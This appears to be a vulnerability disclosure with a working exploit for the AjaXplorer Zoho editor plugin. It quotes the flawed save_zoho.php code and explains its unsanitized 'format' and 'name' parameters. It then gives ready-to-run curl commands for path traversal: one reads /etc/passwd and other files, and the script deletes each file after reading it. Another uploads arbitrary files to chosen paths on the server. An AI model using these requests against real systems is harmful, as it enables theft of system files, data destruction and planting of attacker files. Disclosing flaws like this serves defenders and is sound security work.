Affected file:  
/plugins/editor.zoho/agent/save_zoho.php  
  
<?php  
  
$vars = array_merge($_GET, $_POST);  
  
if(!isSet($vars["ajxp_action"]) && isset($vars["id"]) && isset($vars["format"])){  
$filezoho = $_FILES['content']["tmp_name"];  
$cleanId = str_replace(array("..", "/"), "", $vars["id"]);  
move_uploaded_file($filezoho, "files/".$cleanId.".".$vars["format"]);  
}else if($vars["ajxp_action"] == "get_file" && isSet($vars["name"])){  
if(file_exists("files/".$vars["name"])){  
readfile("files/".$vars["name"]);  
unlink("files/".$vars["name"]);  
}  
}  
  
?>  
  
Option 1: If "ajxp_action" is not set, upload "content" file to files/id.format.   
The code does not sanitize "format" parameter before passing it as an argument to "move_uploaded_file",  
thus introducing an opportunity to upload files to any arbitrary location via directory traversal   
Note: User should have permission to write on the desired location.  
  
Option 2: If "ajxp_action" is set to "get_file", read the file from "files/name" and then ERASE IT (unlink).   
Again, the code does not sanitize the "name" parameter, making it also vulnerable to directory traversal.  
  
"files" directory's location is by default /plugins/editor.zoho/agent/files  
A default location for reading/uploading files is /data/files/

[1] [CAUTION!] Read arbitrary files   
curl "http://<url>/<ajaxplorer_wwwroot>/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=<file_relative_path>"  
  
e.g. curl "http://muralito.el.payaso/ajaxplorer/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=../../../../../../../../etc/passwd"  
  
[USE WITH CAUTION] This is a destructive function. Files retrieved WILL be erased after reading, provided that the file is writable by the user which the web server's process is running as.  
  
[2] Arbitrary File Upload  
*step 1 - Upload the file to the server*   
# curl -F 'content=@<filename_from_attacker_host>;type=<filetype>;filename=\"<filename>\"' "http://<url>/<ajaxplorer_wwwroot>/plugins/editor.zoho/agent/save_zoho.php?id=&format=<upload_to_file_relative_path>"  
  
e.g. # curl -F '[email protected];type=text/html;filename=\"test.html\"' "http://muralito.el.payaso/ajaxplorer/plugins/editor.zoho/agent/save_zoho.php?id=&format=./../../../data/files/test.html"
